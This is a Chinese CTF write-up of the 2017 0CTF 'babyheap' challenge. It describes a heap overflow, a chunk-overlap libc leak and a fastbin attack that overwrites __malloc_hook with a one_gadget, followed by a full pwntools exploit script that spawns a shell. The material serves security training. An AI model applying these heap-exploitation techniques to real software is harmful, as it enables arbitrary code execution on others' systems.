2017 0CTF之babyheap

最近在找堆题来练手,发现自己对堆题的利用还不够熟练

今天复现了一下2017 0CTF的babyheap,直接看题吧

首先一套保护全开:

1555334555377

然后来分析一下程序

还是经典的菜单程序,第一个功能肯定是分配chunk啦,这里还是用了一个全局数组来存储三个数据,1、标记位,这个用来表示chunk属于使用状态,2、chunk大小,3、chunk 指针

当chunk被free的时候标记位就被值为零

需要注意的时候,这里在分配chunk的时候用的是calloc函数,与malloc不同的是,他在alloc的时候,会把当前分配的新的chunk空间给全部清空,这样就限制了我们很多的操作

1555334654258

然后,这个全局数组,地址还是随机,就是故意不让我们找到他的地址进行操作

1555334854846

下一个功能是编辑堆块,这里就存在一个很明显的漏洞,就堆溢出,导致每个chunk都能任意大小溢出后面的chunk

但是这里必须要保证标记位要为1,否则没法进行编辑

1555335095472

第三个功能是free chunk,这个功能基本上没有漏洞,该清空的指针都给清空掉了,莫得UAF

1555335146971

第四个功能是show,一般都是用这个功能进行泄漏的操作,同样的,这里必须要保证标记位要为1,否则没法进行泄漏

1555335204072

分析完以后,这里给出利用的思路

首先是,得泄漏出libc来,由于保护机制全开,ida中看到的地址基本上都没有用

这里需要去泄漏,首先能想到的就是一个unsorted bin 的泄漏方法,但是如果一个chunk 被free进了unsorted bin ,那么它是没法再进行编辑和泄漏的操作的

这里就想到利用拓展chunk的方法去完全控制一个chunk,使得泄漏大chunk的时候,会把被合并的chunk的所有内容给打印出来

具体的利用是这样的,首先分配堆块如下

create(0x100)#0

create(0x100)#1

create(0x100)#2

接着free掉chunk1

溢出chunk0,使得chunk1的size变成 0x110*2+1

这时再create(0x110*2-0x10),新的chunk1的空间会覆盖了chunk2的空间,使得chunk2被“吞进”chunk1

然后edit(1,0x110,”a”*0x100+p64(0)+p64(0x111))

这是因为,在create(0x110*2-0x10)的时候,chunk1内的所有空间都被清空为0,chunk2的所有内容都为0,这样一来后面free chunk2的时候就会报错退出,因此要给他构造回chunk2原先的结构

然后free chunk2

这时chunk2的fd和bk就会被写入libc的地址,再show chunk1的时候,就能泄漏出来libc了

得到了libc,也就有了各种真实地址

接着就是控制程序流程了

由于保护全开,got表也莫得修改

那么就只能把malloc hook或者free hook这样的调用改成onegadget,一把梭getshell

这里用fastbin attack的方法去修改,很简单,double free都不需要,直接构造fd到malloc hook-0x23的位置就行了,那里刚刚好有个7f用于做size,绕过fastbin的检查

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./babyheap"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(size):
ru("Command: ")
sl("1")
ru("Size: ")
sl(str(size))
def edit(idx,size,content):
ru("Command: ")
sl("2")
ru("Index: ")
sl(str(idx))
ru("Size: ")
sl(str(size))
ru("Content: ")
sl(content)

def free(idx):
ru("Command: ")
sl("3")
ru("Index: ")
sl(str(idx))
def show(idx):
ru("Command: ")
sl("4")
ru("Index: ")
sl(str(idx))

create(0x100)#0
create(0x100)#1
create(0x100)#2

create(0x60)#3
create(0x60)#4

create(0x100)#5

free(1)
payload1 = "a"*0x100+p64(0)+p64(0x110*2+1)
edit(0,len(payload1),payload1)

create(0x110*2-0x10)#1
edit(1,0x110,"a"*0x100+p64(0)+p64(0x111))

free(2)
show(1)
ru(p64(0x111))
leak = u64(p.recv(6).ljust(8,"\x00"))
print "leak:",hex(leak)
malloc_hook = leak -88-0x10
libc_base = malloc_hook -libc.sym["__malloc_hook"]
onegadget = libc_base+ 0x4526a
print "malloc_hook:",hex(malloc_hook)
print "libc_base:",hex(libc_base)
print "onegadget:",hex(onegadget)

free(4)
payload2= "a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
edit(3,len(payload2),payload2)
#debug()a

create(0x60)

create(0x60)#4
payload3= "aaa"+"a"*0x10 +p64(onegadget)+p64(onegadget)
edit(4,len(payload3),payload3)
#debug()

free(2)
free(2)
create(0x666)
getshell()

这题主要的难点还是在于泄漏,泄漏的难点就是在于堆风水的排布,以后应该经常积累各种各样的堆风水排布泄漏,对解题帮助会很大